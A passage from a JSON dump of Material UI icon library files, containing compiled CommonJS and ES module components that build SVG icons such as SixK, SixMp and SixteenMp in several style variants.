.7.31.7.7v1.55l1.54-1.98c.14-.17.35-.27.56-.27.58 0 .91.66.56 1.12L13.75 12l1.41 1.88c.34.46.01 1.12-.57 1.12m3.91-2.5h-1v1c0 .28-.22.5-.5.5s-.5-.22-.5-.5v-1h-1c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h1v-1c0-.28.22-.5.5-.5s.5.22.5.5v1h1c.28 0 .5.22.5.5s-.22.5-.5.5\"\n}), 'SixKPlusRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SixKPlusRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.5 12.5h1V14h-1zM19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-9.75 7.5H7.5v1H9c.55 0 1 .45 1 1V14c0 .55-.45 1-1 1H7c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1h2.25c.41 0 .75.34.75.75s-.34.75-.75.75m5.34 4.5c-.22 0-.42-.1-.55-.27l-1.54-1.98v1.55c0 .39-.31.7-.7.7h-.1c-.39 0-.7-.31-.7-.7V9.7c0-.39.31-.7.7-.7h.09c.39 0 .7.31.7.7v1.55l1.54-1.98c.14-.17.35-.27.56-.27.58 0 .91.66.56 1.12L13.75 12l1.41 1.88c.34.46.01 1.12-.57 1.12m3.91-2.5h-1v1c0 .28-.22.5-.5.5s-.5-.22-.5-.5v-1h-1c-.28 0-.5-.22-.5-.5s.22-.5.5-.5h1v-1c0-.28.22-.5.5-.5s.5.22.5.5v1h1c.28 0 .5.22.5.5s-.22.5-.5.5\"\n}), 'SixKPlusRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SixKPlusSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.5 12.5h1V14h-1zM21 3H3v18h18zm-11 7.5H7.5v1H10V15H6V9h4zm6 4.5h-1.75l-1.75-2.25V15H11V9h1.5v2.25L14.25 9H16l-2.25 3zm3-2.5h-1.5V14h-1v-1.5H15v-1h1.5V10h1v1.5H19z\"\n}), 'SixKPlusSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SixKPlusSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.5 12.5h1V14h-1zM21 3H3v18h18zm-11 7.5H7.5v1H10V15H6V9h4zm6 4.5h-1.75l-1.75-2.25V15H11V9h1.5v2.25L14.25 9H16l-2.25 3zm3-2.5h-1.5V14h-1v-1.5H15v-1h1.5V10h1v1.5H19z\"\n}), 'SixKPlusSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SixKPlusTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.5 12.5h1V14h-1z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 19h14v-6.5h-1.5V14h-1v-1.5H15v-1h1.5V10h1v1.5H19V5H5zm6-10h1.5v2.25L14.25 9H16l-2.25 3L16 15h-1.75l-1.75-2.25V15H11zm-5 1c0-.55.45-1 1-1h3v1.5H7.5v1H9c.55 0 1 .45 1 1V14c0 .55-.45 1-1 1H7c-.55 0-1-.45-1-1z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 8.5h-1.5V10h-1v1.5H15v1h1.5V14h1v-1.5H19V19H5V5h14z\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.5 12.75 14.25 15H16l-2.25-3L16 9h-1.75l-1.75 2.25V9H11v6h1.5zM7 15h2c.55 0 1-.45 1-1v-1.5c0-.55-.45-1-1-1H7.5v-1H10V9H7c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1m.5-2.5h1V14h-1z\"\n}, \"3\")], 'SixKPlusTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SixKPlusTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.5 12.5h1V14h-1z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 19h14v-6.5h-1.5V14h-1v-1.5H15v-1h1.5V10h1v1.5H19V5H5zm6-10h1.5v2.25L14.25 9H16l-2.25 3L16 15h-1.75l-1.75-2.25V15H11zm-5 1c0-.55.45-1 1-1h3v1.5H7.5v1H9c.55 0 1 .45 1 1V14c0 .55-.45 1-1 1H7c-.55 0-1-.45-1-1z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 8.5h-1.5V10h-1v1.5H15v1h1.5V14h1v-1.5H19V19H5V5h14z\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.5 12.75 14.25 15H16l-2.25-3L16 9h-1.75l-1.75 2.25V9H11v6h1.5zM7 15h2c.55 0 1-.45 1-1v-1.5c0-.55-.45-1-1-1H7.5v-1H10V9H7c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1m.5-2.5h1V14h-1z\"\n}, \"3\")], 'SixKPlusTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SixKRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 12.5h1.5V14H8zM19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-8.75 7.5H8v1h2c.55 0 1 .45 1 1V14c0 .55-.45 1-1 1H7.5c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1h2.75c.41 0 .75.34.75.75s-.34.75-.75.75m6.34 4.5c-.22 0-.42-.1-.55-.27l-1.54-1.98v1.55c0 .39-.31.7-.7.7h-.1c-.39 0-.7-.31-.7-.7V9.7c0-.39.31-.7.7-.7h.09c.39 0 .7.31.7.7v1.55l1.54-1.98c.14-.17.35-.27.56-.27.58 0 .91.66.56 1.12L15.75 12l1.41 1.88c.34.46.01 1.12-.57 1.12\"\n}), 'SixKRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SixKRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 12.5h1.5V14H8zM19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-8.75 7.5H8v1h2c.55 0 1 .45 1 1V14c0 .55-.45 1-1 1H7.5c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1h2.75c.41 0 .75.34.75.75s-.34.75-.75.75m6.34 4.5c-.22 0-.42-.1-.55-.27l-1.54-1.98v1.55c0 .39-.31.7-.7.7h-.1c-.39 0-.7-.31-.7-.7V9.7c0-.39.31-.7.7-.7h.09c.39 0 .7.31.7.7v1.55l1.54-1.98c.14-.17.35-.27.56-.27.58 0 .91.66.56 1.12L15.75 12l1.41 1.88c.34.46.01 1.12-.57 1.12\"\n}), 'SixKRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SixKSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 12.5h1.5V14H8zM21 3H3v18h18zm-10 7.5H8v1h3V15H6.5V9H11zm7 4.5h-1.75l-1.75-2.25V15H13V9h1.5v2.25L16.25 9H18l-2.25 3z\"\n}), 'SixKSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SixKSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 12.5h1.5V14H8zM21 3H3v18h18zm-10 7.5H8v1h3V15H6.5V9H11zm7 4.5h-1.75l-1.75-2.25V15H13V9h1.5v2.25L16.25 9H18l-2.25 3z\"\n}), 'SixKSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SixKTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 12.5h1.5V14H8z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 19h14V5H5zm8-10h1.5v2.25L16.25 9H18l-2.25 3L18 15h-1.75l-1.75-2.25V15H13zm-6.5 1c0-.55.45-1 1-1H11v1.5H8v1h2c.55 0 1 .45 1 1V14c0 .55-.45 1-1 1H7.5c-.55 0-1-.45-1-1z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.5 12.75 16.25 15H18l-2.25-3L18 9h-1.75l-1.75 2.25V9H13v6h1.5zM7.5 15H10c.55 0 1-.45 1-1v-1.5c0-.55-.45-1-1-1H8v-1h3V9H7.5c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1m.5-2.5h1.5V14H8z\"\n}, \"3\")], 'SixKTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SixKTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 12.5h1.5V14H8z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 19h14V5H5zm8-10h1.5v2.25L16.25 9H18l-2.25 3L18 15h-1.75l-1.75-2.25V15H13zm-6.5 1c0-.55.45-1 1-1H11v1.5H8v1h2c.55 0 1 .45 1 1V14c0 .55-.45 1-1 1H7.5c-.55 0-1-.45-1-1z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.5 12.75 16.25 15H18l-2.25-3L18 9h-1.75l-1.75 2.25V9H13v6h1.5zM7.5 15H10c.55 0 1-.45 1-1v-1.5c0-.55-.45-1-1-1H8v-1h3V9H7.5c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1m.5-2.5h1.5V14H8z\"\n}, \"3\")], 'SixKTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SixMp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.5 9H13v1.5h-1.5zM19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7 15.5h-1.5V14h-1v3H8v-3H7v4.5H5.5v-5c0-.55.45-1 1-1H11c.55 0 1 .45 1 1zm-1-7c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1h3.5V7h-3v1h2c.55 0 1 .45 1 1v1.5c0 .55-.45 1-1 1zm4.5 7H14v-6h3.5c.55 0 1 .45 1 1V16c0 .55-.45 1-1 1h-2zm0-4.5H17v1.5h-1.5z\"\n}), 'SixMp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SixMp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.5 9H13v1.5h-1.5zM19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7 15.5h-1.5V14h-1v3H8v-3H7v4.5H5.5v-5c0-.55.45-1 1-1H11c.55 0 1 .45 1 1zm-1-7c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1h3.5V7h-3v1h2c.55 0 1 .45 1 1v1.5c0 .55-.45 1-1 1zm4.5 7H14v-6h3.5c.55 0 1 .45 1 1V16c0 .55-.45 1-1 1h-2zm0-4.5H17v1.5h-1.5z\"\n}), 'SixMp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SixMpOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.5 14h1v3H10v-3h1v4.5h1.5v-5c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v5h1.5zm6 4.5H15V17h2c.55 0 1-.45 1-1v-2.5c0-.55-.45-1-1-1h-3.5zM15 14h1.5v1.5H15z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 11.5h2.5c.55 0 1-.45 1-1V9c0-.55-.45-1-1-1h-2V7h3V5.5H11c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1m.5-2.5H13v1.5h-1.5z\"\n}, \"2\")], 'SixMpOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SixMpOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.5 14h1v3H10v-3h1v4.5h1.5v-5c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v5h1.5zm6 4.5H15V17h2c.55 0 1-.45 1-1v-2.5c0-.55-.45-1-1-1h-3.5zM15 14h1.5v1.5H15z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 11.5h2.5c.55 0 1-.45 1-1V9c0-.55-.45-1-1-1h-2V7h3V5.5H11c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1m.5-2.5H13v1.5h-1.5z\"\n}, \"2\")], 'SixMpOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/SixMpRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 14h1.5v1.5H15z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-9 3.5c0-.55.45-1 1-1h2.75c.41 0 .75.34.75.75s-.34.75-.75.75H11.5v1h2c.55 0 1 .45 1 1v1.5c0 .55-.45 1-1 1H11c-.55 0-1-.45-1-1zm2.5 11.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V14h-1v2.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V14h-1v3.75c0 .41-.34.75-.75.75S6 18.16 6 17.75V13.5c0-.55.45-1 1-1h4.5c.55 0 1 .45 1 1zM18 16c0 .55-.45 1-1 1h-2v.75c0 .41-.34.75-.75.75s-.75-.34-.75-.75V13.5c0-.55.45-1 1-1H17c.55 0 1 .45 1 1z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.5 9H13v1.5h-1.5z\"\n}, \"2\")], 'SixMpRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SixMpRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 14h1.5v1.5H15z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-9 3.5c0-.55.45-1 1-1h2.75c.41 0 .75.34.75.75s-.34.75-.75.75H11.5v1h2c.55 0 1 .45 1 1v1.5c0 .55-.45 1-1 1H11c-.55 0-1-.45-1-1zm2.5 11.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V14h-1v2.25c0 .41-.34.75-.75.75s-.75-.34-.75-.75V14h-1v3.75c0 .41-.34.75-.75.75S6 18.16 6 17.75V13.5c0-.55.45-1 1-1h4.5c.55 0 1 .45 1 1zM18 16c0 .55-.45 1-1 1h-2v.75c0 .41-.34.75-.75.75s-.75-.34-.75-.75V13.5c0-.55.45-1 1-1H17c.55 0 1 .45 1 1z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.5 9H13v1.5h-1.5z\"\n}, \"2\")], 'SixMpRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/SixMpSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 14h1.5v1.5H15z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M3 3v18h18V3zm7 2.5h4.5V7h-3v1h3v3.5H10zm2.5 13H11V14h-1v3H8.5v-3h-1v4.5H6v-6h6.5zM18 17h-3v1.5h-1.5v-6H18z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.5 9H13v1.5h-1.5z\"\n}, \"2\")], 'SixMpSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SixMpSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 14h1.5v1.5H15z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M3 3v18h18V3zm7 2.5h4.5V7h-3v1h3v3.5H10zm2.5 13H11V14h-1v3H8.5v-3h-1v4.5H6v-6h6.5zM18 17h-3v1.5h-1.5v-6H18z\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11.5 9H13v1.5h-1.5z\"\n}, \"2\")], 'SixMpSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SixMpTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 14h1.5v1.5H15zm-3.5-5H13v1.5h-1.5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 19h14V5H5zm13-5.5V16c0 .55-.45 1-1 1h-2v1.5h-1.5v-6H17c.55 0 1 .45 1 1m-8-7c0-.55.45-1 1-1h3.5V7h-3v1h2c.55 0 1 .45 1 1v1.5c0 .55-.45 1-1 1H11c-.55 0-1-.45-1-1zm-4 7c0-.55.45-1 1-1h4.5c.55 0 1 .45 1 1v5H11V14h-1v3H8.5v-3h-1v4.5H6z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7.5 14h1v3H10v-3h1v4.5h1.5v-5c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v5h1.5zm6 4.5H15V17h2c.55 0 1-.45 1-1v-2.5c0-.55-.45-1-1-1h-3.5zM15 14h1.5v1.5H15z\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"3\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11 11.5h2.5c.55 0 1-.45 1-1V9c0-.55-.45-1-1-1h-2V7h3V5.5H11c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1m.5-2.5H13v1.5h-1.5z\"\n}, \"4\")], 'SixMpTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SixMpTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 14h1.5v1.5H15zm-3.5-5H13v1.5h-1.5z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 19h14V5H5zm13-5.5V16c0 .55-.45 1-1 1h-2v1.5h-1.5v-6H17c.55 0 1 .45 1 1m-8-7c0-.55.45-1 1-1h3.5V7h-3v1h2c.55 0 1 .45 1 1v1.5c0 .55-.45 1-1 1H11c-.55 0-1-.45-1-1zm-4 7c0-.55.45-1 1-1h4.5c.55 0 1 .45 1 1v5H11V14h-1v3H8.5v-3h-1v4.5H6z\",\n  opacity: \".3\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7.5 14h1v3H10v-3h1v4.5h1.5v-5c0-.55-.45-1-1-1H7c-.55 0-1 .45-1 1v5h1.5zm6 4.5H15V17h2c.55 0 1-.45 1-1v-2.5c0-.55-.45-1-1-1h-3.5zM15 14h1.5v1.5H15z\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14z\"\n}, \"3\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M11 11.5h2.5c.55 0 1-.45 1-1V9c0-.55-.45-1-1-1h-2V7h3V5.5H11c-.55 0-1 .45-1 1v4c0 .55.45 1 1 1m.5-2.5H13v1.5h-1.5z\"\n}, \"4\")], 'SixMpTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/SixteenMp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M13.5 9H15v1.5h-1.5zM19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7 15.5h-1.5V14h-1v3H8v-3H7v4.5H5.5v-5c0-.55.45-1 1-1H11c.55 0 1 .45 1 1zm3.5 0H14v-6h3.5c.55 0 1 .45 1 1V16c0 .55-.45 1-1 1h-2zM10 5.5v6H8.5V7H7V5.5zm3 6c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1h3.5V7h-3v1h2c.55 0 1 .45 1 1v1.5c0 .55-.45 1-1 1zm2.5 2.5H17v1.5h-1.5z\"\n}), 'SixteenMp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SixteenMp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M13.5 9H15v1.5h-1.5zM19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-7 15.5h-1.5V14h-1v3H8v-3H7v4.5H5.5v-5c0-.55.45-1 1-1H11c.55 0 1 .45 1 1zm3.5 0H14v-6h3.5c.55 0 1 .45 1 1V16c0 .55-.45 1-1 1h-2zM10 5.5v6H8.5V7H7V5.5zm3 6c-.55 0-1-.45-1-1v-4c0-.55.45-1 1-1h3.5V7h-3v1h2c.55 0 1 .45 1 1v1.5c0 .55-.45 1-1 1zm2.5 2.5H17v1.5h-1.5z\"\n}), 'SixteenMp');"
  },
  {
    "path": "packages/mui-icons-material/lib/SixteenMpOutlined.js",
